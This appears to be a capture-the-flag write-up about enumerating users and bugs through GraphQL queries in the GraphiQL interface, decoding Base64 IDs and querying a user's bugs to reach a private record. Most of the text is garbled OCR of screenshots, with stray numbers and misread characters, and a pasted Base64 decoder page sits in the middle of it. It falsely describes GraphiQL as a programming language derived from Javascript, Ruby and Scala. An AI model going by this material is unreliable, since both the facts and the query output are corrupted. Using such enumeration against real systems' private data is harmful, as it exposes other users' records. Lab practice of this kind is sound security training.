Hints:

- What can you see? What can you not see?
- What data types are involved?

Flag 1:

- This problem is based on GraphiQL programming language which was written in 2015 and based off Javascript, Ruby and Scala
- Printing all Users and Bugs displays all possible command

```
GraphiQL Prettify History
                                                                                                                                                                                                                                                      "startCursor": "YXJyYX1jb25uZWN0aW9u0jA=",
"hasMextPage": false,
"hasPreviousPage": false,
"endCursor": "YXJyYX1jb25uZWN0aW9u0jA="
1 * {
2 * 4
4 * 4 * 6 * 7
8 9 100 111 12 13 14 15 16 17 18 19 * 22 * 22 * 24 5 22 6 7 23 * 30 31 31 32 33 33 33 5 }
                allUsers{
                      edges{
node{
                                bugs{
    pageInfo{
        startCursor
        hasNextPage
                                                                                                                                                                                                                                          },
"id": "VXNlcnM6MQ==",
"username": "admin"
                                           hasPreviousPage
                                           endCursor
                                                                                                                                                                                                                                     "node": {
  "bugs": {
    "pageInfo": {
        "startCursor": "YXJYYXljb25uZWN@aW9u0jA=",
        "hasNextPage": false,
    "hasPreviousPage": false,
    "endCursor": "YXJYYXljb25uZWN@aW9u0jA="
                                username
                allBugs{
edges{
node{
private
                                                                                                                                                                                                                                           },
"id": "VXNlcnM6Mg==",
"username": "victim"
                                                                                                                                                                                                                   }, "allBugs": {
    "edges": [
                         reporterId
id
                                                                                                                                                                                                                                   "node": {
    "private": false,
    "reporter": {
        "username": "admin",
        "id": "VXNlcnM6HQ=="
                                                                                                                                                                                                                                           },
"reporterId": 1,
"id": "QnVnczox"
                                                                                                                                                                                                                                      "node": {
   "private": true,
   "reporter": {
     "username": "victim",
     "id": "VXNlcnM6Mg=="
                                                                                                                                                                                                                                         },
"reporterId": 2,
"id": "QnVnczoy"
            OUERY VARIABLES
```

Decoded based on Base64 and we've got User1 and User2

Decode from Base64 format Simply enter your data then push the decode button.
VXNIcnM6Mg==
For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page. 175
UTF-8 Source character set. Decode each line separately (useful for when you have multiple entries).
① Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).
✓ DECODE ➤ Decodes your data into the area below.
Users:2
Decode files from Base64 format Select a file to upload and process, then you can download the decoded result.

First admin then victim

```
GraphiQL Prettify History
},
"id": "VXNlcnM6Mg==",
"username": "victim"
                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                  },
"allBugs": {
    "edges": [
                                                                                                                                                                                                                                                         "edges".
{
  "node": {
    "private": false,
    "reporter": {
        "username": "admin",
        "id": "VXNlcnH6MQ=="
                                                                                                                                                                                                                                                                       },
"reporterId": 1,
"id": "QnVnczox"
                                                                                                                                                                                                                                                                  "node": {
    "private": true,
    "reporter": {
        "username": "victim",
        "id": "VXNlcnM6Mg=="
}
                                                                                                                                                                                                                                                                       },
"reporterId": 2,
"id": "QnVnczoy"
           }
}
findUser(username: "admin") {
    username
    bugs {
    edges {
        cursor
        node {
            text|
            private
            reporter {
                username
        }
        reporterId
    }
}

                                                                                                                                                                                                                                                      1 }
                                                                                                                                                                                                                                                 },
"findUser": {
  "username": "admin",
  "bugs": {
    "edges": [
    "" "YXJ
                                                                                                                                                                                                                                                                 cuges . [
    "cursor": "YXJyYXljb25uZwN0aw9u0jA=",
    "node": {
        "text": "This is an example bug",
        "private": false,
        "reporter": {
        "username": "admin"
    }.
                                                                                                                                                                                                                                                                           },
"reporterId": 1
                                                                                                                                                                                                                                     } 1 } 1
              QUERY VARIABLES
```

